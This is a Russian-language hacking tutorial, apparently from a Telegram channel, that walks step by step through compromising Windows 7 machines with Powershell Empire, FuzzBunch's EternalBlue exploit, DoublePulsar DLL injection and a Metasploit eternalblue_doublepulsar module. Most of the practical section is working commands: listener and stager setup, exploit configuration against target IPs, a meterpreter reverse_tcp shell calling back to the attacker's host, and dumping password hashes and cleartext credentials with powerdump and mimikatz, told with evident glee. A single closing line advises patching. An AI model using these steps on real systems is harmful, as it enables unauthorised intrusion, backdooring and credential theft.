Обзор инструмента Powershell Empire и пример атаки на ETERNALBLUE

Обзор инструмента Powershell Empire и пример атаки на ETERNALBLUE

https://t.me/w2hack

Intro

Kali Linux является базовым дистрибутивом для пен-тестера проводящего аудит защищенности корпоративной ИТ-инфраструктуры. Но, не смотря на то, что в Kali до хера всяких тулз, туда не всегда попадает трушное хакерское ПО, как-то, к примеру, эксплойт паки и отдельные фреймворки. Их нужно доставлять отдельно ручками. И то очень сильно расширяет возможности эксперта по тестированию.

В сегодняшней статье речь пойдет об инструментах Powershell Empire, FuzzBunch и DoublePulsar, которые очень сильно нашумели в прошлом году спровоцирован массовые вирусные эпидемии шифровальщиков Wannacry, Petya, BadRabbit, а сейчас продолжают юзаться, к примеру, для майнинга. Ну, что, будет очень много практики! Гоу!)

С чего все началось?

Известная хакерская группировка The Shadow Brokers прервала свое долгое молчание и вернулась с новым дампом. По мнению многих ИБ=экспертов еще летом 2016 года The Shadow Brokers удалось похитить инструментарий спецслужб, и долгое время хакеры пытались продать его на черном рынке, а теперь, по всей видимости, готовы опубликовать бесплатно.

Новый дамп, опубликованный 14 апреля 2017 года, получил название «Трудности перевода» (Lost in Translation). Представленные «Трудности перевода» преимущественно содержит тулзы для систем семейства Windows, а также якобы и доказательства того, что Equation Group имела доступ к серверам сервисных бюро, связанных с международной банковской системой SWIFT, и шпионила за рядом финансовых учреждений из разных стран мира.

Исследователи уже загрузили содержимое дампа на GitHub и опубликовали полный список содержащихся в нем файлов. Так, новый архив содержит три папки: Windows, Swift и OddJob. В них можно найти следующие инструменты: OddJob, EasyBee, EternalRomance, FuzzBunch, EducatedScholar, EskimoRoll, EclipsedWing, EsteemAudit, EnglishMansDentist, MofConfig, ErraticGopher, EmphasisMine, EmeraldThread, EternalSynergy, EwokFrenzy, ZippyBeer, ExplodingCan, DoublePulsar и так далее.

Что такое Powershell Empire?

Тулза Powershell Empire (GutHub, Web-версия) предоставляет модульную платформу для пост-эксплуатации ОС Windows, используя возможности всем известного средства системного шелла - PowerShell. 

Пайлоды Empire агенты полностью работают в оперативной памяти и их сложно детектировать средствами защиты, такими как классические антивирусы и системамы предотвращения вторжений (IDS\IPS) из-за того, что они написаны на скриптовом языке и во время выполнения между агентом и антивирусным ПО стоит интерпретатор скриптового языка, в отличие от классических пайлоадов, скомпилированных в ассемблер и исполняемый файл (EXE-шник).

Что такое ETERNALBLUE ?

EternalBlue (CVE-2017-0144) — кодовое имя эксплойта, эксплуатирующего компьютерную уязвимость в Windows-реализации протокола SMB, к разработке которого, как считается, причастно Агентство национальной безопасности (США). Секретные сведения об уязвимости и исполняемый код эксплойта были опубликованы хакерской группой The Shadow Brokers 14 апреля 2017 года. Уязвимость была использована при распространении вредоносного ПО WannaCry в мае 2017 года, а также при распространении Petya в июне 2017 года.

Эксплоит EternalBlue использует уязвимость в реализации протокола Server Message Block v1 (SMB). Злоумышленник, сформировав и передав на удалённый узел особым образом подготовленный пакет, способен получить удалённый доступ к системе и запустить на ней произвольный код.

Дополнительная информация об эксплойте:

Как при помощи эксплоита ETERNALBLUE получить сессию в METERPRETER

Уязвимые к EternalBlue системы застряли в бесконечной петле заражений 

Майнер PowerGhost использует эксплоит EternalBlue и бесфайловые техники атак

Авторы Gh0st RAT и Nitol взяли на вооружение эксплоит EternalBlue

Криптовалютный майнер CoinMiner распространяется посредством EternalBlue и WMI

Что такое DoublePulsar?

DoublePulsar — это бэкдор, разработанный группировкой Equation Group (предположительно являющейся подразделением АНБ) и опубликованный хакерской группой The Shadow Brokers в начале 2017 года. Этот инструмент смог заразить более 500 000 компьютеров под управлением ОС семейства Microsoft Windows всего за несколько недель. Вредоносная программа доставляется через TCP-порт 445 с помощью эксплойта EternalBlue, использующего уязвимость в реализации протокола SMB (Server Message Block). После публикации сведений об уязвимости, группа хакеров 12 мая 2017 г. выпустила в сеть вирусную программу WannaCry, представляющую собой сетевого червя-вымогателя.

DoublePulsar работает в режиме ядра, который предоставляет хакерам высокий уровень контроля над компьютерной системой. После установки доступны три команды: ping, kill и exec, последняя из которых, вероятнее всего, может быть использована для загрузки вредоносного ПО в систему.

Практика

1. Устанавливаем Powershell Empire в систему

Идем на гитхаб и скачиваем тулузу Empire. Далее запускаем инсталляционный скрипт Empire/setup/install.sh для установки зависимостей в нашу систему. После так же запускаем скрипт для инициализации базы данных, наспианный на питоне Empire/setup/setup_database.py

Это, все! Установка в нашу систему завершена. Следующим шагом приступаем к запуску тулзы!

2. Запуск Powershell Empire и коннект до машины жертвы

Запускаем наш фреймворк следующим скриптом в терминале ./empire и попадаем в главное меню (см. рисунок ниже)

Основное меню

Для начала основные понятия, с которыми нам придется столкнуться при работе с фреймворком - это listener, stager и agent. И так, чуть подробнее о них:

Listener – локальные IP адрес и порт, к которым должен подключаться агент при успешном выполнении на стороне жертвы.

Командой listeners переходим в режим конфигурирования листнера и создаем новый листнер, к примеру, по адресу 192.168.1.3:8080

Создаем листнер

Как видим, порт теперь прослушивается:

Порт прослушивается на соединение

Stager – это способ доставки Powershell Empire агента на машину жертвы. По аналогии с фреймворком Metasploit, существует stage0 и stage1, где будем считать, что stage0 – способ доставки Empire агента, а stage1 – сам агент.

Командой usestager можно выбрать следующие варианты для stage0 (далее стейджер):

Перебор нескольких вариантов Стейнджер

Самый распространенный стейджер – launcher, выберем его и настроим на подключение к листнеру test, который мы создали на предыдущем шаге.

Тестим подключение

Далее нам нужно настроить некоторые параметры для стейджера:

В частности опция Proxy по умолчанию выставлена в default, что означает использование системных настроек прокси на стороне жертвы.

Командой generate создается стейджер типа "launcher".

Создается стейджер типа "launcher"

В итоге этот стейнджер представляет собой закодированную powershell команду в base64 (вики), которую необходимо выполнить на стороне жертвы.

Альтернативным способом генерации stage0 команды для стейджера launcher может быть команда 

launcher [имя_листнера] из меню listeners.

Есть и другие стейджеры, которые могут быть использованы в зависимости от ситуации. Перечислим основные из них.

launcher_bat – агент доставляется на машину жертвы при запуске bat-файла.
launcher_vbs – агент доставляется на машину жертвы при выполнении vbs-скрипта.
macro – будет сгенерирован код для макроса, который можно внедрить в документ MS Office.
dll – запуск powershell агента внутри процесса, отличного от powershell.exe при помощи техники Reflective DLL loading.

Так стейджер dll позволяет интегрировать Empire с фреймворком Metasploit и другими современными инструментами. Охуенно!:) Напрмиер, при помощи эксплойта требуется провести инъекцию вредоносной DLL в атакованный процесс, после чего произойдет загрузка Empire агента в оперативную память машины жертвы и его выполнение. 

Запустим сгенерированный код нашего стейджера launcher на машине «жертве»:

Запущенный код нашего стейджера "launcher" на стороне жертвы

На машине атакующего в интерфейсе Empire видим сообщение:

Агент поднялся на машине жертвы!

Что это значит!? Агент поднялся на машине жертвы! Теперь можем пайлодить)) Для удобства можно переименовать агента:

Переименовываем "агента" по вкусу

Далее, для перехода в режим взаимодействия, выполним команду interact и при помощи команды help увидим доступные опции (ведь все команды помнить на память невозможно):

Вывод возможных команд для агента по команде Help

3. Удар по жертве

После получения активной сессии с агентом нам доступно множество команд. Документацию по всем возможностям фреймворка можно найти на официальном сайте. там же есть демо с описанием и видео (вот так "хак" приходит в массы!:)

Скриншот меню официального сайта

Как видно из выше предоставленного скрина все модули разбиты на группы. В качестве примера продемонстрируем работу нескольких модулей.

И так, модуль credentials/powerdump для сбора хэшей пользователей. Ваууу!

Пиздим хеши от учеток пользователей

Запуск mimikatz из меню агента Empire

Запуск mimikatz

Получили пароль в открытом виде от поставщика WDijest

Получили пароль в открытом виде

Добавляем фреймворк FuzzBunch

Как было уже описано выше 14 апреля 2017 года был опубликован новый дамп от группы хакеров, именующих себя The Shadow Brokers. Среди прочего в дампе находится фреймворк FuzzBunch, позволяющий эксплуатировать опасные RCE-уязвимости ОС Windows практически в автоматическом режиме. Основная порция обнародованных уязвимостей описана в бюллетене от Microsoft MS17-010.

4. Установка FuzzBunch в нашу систему

Для установки FuzzBunch вам понадобится либо 32-битная Windows машина (да, да, те самые "окна"), либо стандартный дистр Kali Linux с установленным окружением Wine. Для демонстрации мы воспользуемся вторым вариантом, чтобы оба инструмента, Empire и FuzzBunch, находились в одном дистрибутиве. И так, погнали! Загрузим файлы на свою машину Kali Linux с github

git clone github.com/fuzzbunch/fuzzbunch.git

Для работы FuzzBunch Нам потребуется скриптовый движок Python 2.6 и, чтобы не захламлять ваше основное окружение Wine, я рекомендую создать новое. Для начала устанавливаем/обновляем Wine, если вы этого еще не сделали.

apt-get instal wine winbind

Создаем и инициализируем новое окружение:

mkdir ~/.wine_fuzzbunch
WINEPREFIX="/root/.wine_fuzzbunch/" winecfg
Установка Wine в Kali Linux

Все настройки оставляем все без изменения:

Окно с настройками Wine
export WINEPREFIX=/root/.wine_fuzzbunch/

Проверяем, что окружение создалось успешно:

Проверка рабочего окружения Wine в Kali Linux

Устанавливаем fuzzbunch в окружение Wine:

mkdir -p ~/.wine_fuzzbunch/drive_c/nsa/windows
cd ~/.wine/drive_c/nsa/windows
cp -R [ваш_каталог_с_fuzzbunch]/* .
wget https://www.python.org/ftp/python/2.6/python-2.6.msi
wget https://downloads.sourceforge.net/project/pywin32/pywin32/Build%20219/pywin32-219.win32-py2.6.exe?r=&ts=1493192168&use_mirror=netcologne

Устанавливаем Python

wine msiexec /i python-2.6.msi

Устанавливаем pywin32

wine pywin32-219.win32-py2.6.exe

Постинсталляция:

wine cmd.exe
cd C:\Python26\Scripts
python pywin32_postinstall.py -install
cd C:\nsa\windows
mkdir listeningposts

5. Запуск FuzzBunch и пример эксплуатация бага MS17-010

Из окружения Wine выполняем следующую команду:

Запускаем питоновкий скрипт

Будем атаковать 64-х битную Windows 7 машину с IP адресом 192.168.1.10, в то время как машина атакующего имеет IP адрес 192.168.1.3.

Задаем эти параметры при запуске FuzzBunch на нашей машине. Для выполнения вредоносного кода будем использовать уязвимость в протоколе SMB, которая носит название Eternalblue (ага, тот самый эксплойт).

use Eternalblue

На вопрос о проверке параметров отвечаем утвердительно:

Жмакаем Yes и идем дальше

Оставляем все без изменения, кроме пункта о методе доставки. Тут выбираем FB (вариант №1).

Выбираем FB (вариант №1)

В завершении запускаем модуль на выполнение и видим сообщение Eternalblue Succeeded.

Сообщение "Eternalblue Succeeded" - значит все заебись!

6. Бонус! Постэксплуатация в связке с Powershell Empire

Запускаем Powershell Empire и создаем новый листенер, как мы желали это раньше:

Запускаем Powershell Empire и создаем новый листенер

В качестве механизма доставки агента используем на этот раз инжекты в dll. Если бы вы использовали Empire на отдельной машине, то для доставки стейджера на машину с FuzzBunch будет удобно сохранить его в каталог веб-сервера и затем скачать по сети.

Лаунчим инжекты в RAM-процессы жертвы

Если у вас и Powershell Empire и FuzzBunch на одной машине, как в моем случае, то сохраняем файл в корень диска C:\ окружения Wine.

Корень диска C:\ нашего окружения Wine

Переходим снова в FuzzBunch, где открыта сессия с машиной жертвы, и используем модуль DoublePulsar.

use DoublePulsar

Выбираем 64-битную архитектуру:

Жмак на х64

В качестве пейлоада мы будем инжектировать DLL, созданную в Empire.

Выбираем вариант №2

Указываем полный путь до DLL - C:\launcher.dll:

Указываем путь до левой DLL - C:\launcher.dll

Выполняем модуль и смотрим как стартует DoublePulsar:

Бэкдор запущен! заебсись!

В интерфейсе Empire получаем новую сессию и выполняем Mimikatz (пиздилка паролей).

Запуск Mimikatz

Получаем логины и пароли пользователей. Заебись!:)

Получаем логины и пароли от учеток в Windows

Все друзья, бэкдор DoublePulsar внедрен в системный процесс нашей жертвы! Фактически это руткит! Мы поимели пароли, саму Windows и дальше можем делать, что хотим!

Пример с использованием Metasplot

Этот эксплоит представляет собой комбинацию из двух инструментов Eternal Blue, которая используется как backdooring для Windows-систем и Doublepulsar, которая используется для инъекции DLL-файла с помощью полезной нагрузки. Таким образом, мы вручную добавим этот эксплойт в базу данных metasploit и проведем атаку.  ̶

Р̶а̶з̶н̶о̶с̶и̶м̶ ̶в̶с̶е̶ ̶к̶ ̶х̶у̶я̶м̶!̶ Начинаем!

1 . Ставим wine (если у вас еще не установлен)

apt-get update
apt-get install wine
Wine накатился на систему

Набираем команду что бы пропалить тачки в сети:

netdiscover
Палим какие есть тачки в сети

В качестве жертвы выбираем случайную машинку с IP-адресом: 192.168.0.102 

2. Юзаем Metasploit для скана необходимой нам уязвимости

service postgresql start
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
options
set RHOSTS 192.168.0.102
exploit
Результат скана в Metasploit - уязвимость есть!

3. Качаем репо и добавляем eternalblue_doublepulsar в Metasploit

cd Desktop/
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cd Eternalblue-Doublepulsar-Metasploit
cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

Так, все скачали и добавили в metasploit
Добавили путь

Теперь перезагружаем фреймворк, что бы все апдейты стали доступны для использования:

reload_all
Главное окно Metasploit - к бою готов!

Выбирем эксплойт и запускаем опции

use exploit/windows/smb/eternalblue_doublepulsar
options 
Окно выбора эксплойта

Устанавливаем необходимые опции

set DOUBLEPULSARPATH /root/Desktop/Eternalblue-Doublepulsar-Metasploit/deps
set ETERNALBLUEPATH /root/Desktop/Eternalblue-Doublepulsar-Metasploit/deps
options
Устанавливаем необходимые опции эксплойта перед использованием

Далее указываем нашу цель и ебашим!

set PROCESSINJECT explorer.exe
set RHOST 192.168.0.102
set TARGETARCHITECTURE x86
Указали цель и архитектуру

Набиранием команды просмотра цели

show targets
set target 9
Просмотр информации о цели

Сетаем пайлод и вызываем реверс шелл

set PAYLOAD windows/meterpreter/reverse_tcp
ifconfig
set LHOST 192.168.0.106
Поднимаем реверс шелл

Это адрес моей Kali машины 192.168.0.106

И запускаем эксплойт! Команда:

exploit
Эксплойт в действии!

Собственно говоря на этом все! Ты увидел сегодня несколько способов использования нашумевших эксплойтов для атаки на уязвимые Windows системы! Поэтому не забывай ставить пачти (хотя бы security update), юзай IDS\IPS и всегда будь на чеку!

Всех хорошего настроения! Берегите себя, своих близких и свои данные! Следите за обновлениями на нашем w2hack канале

Report Page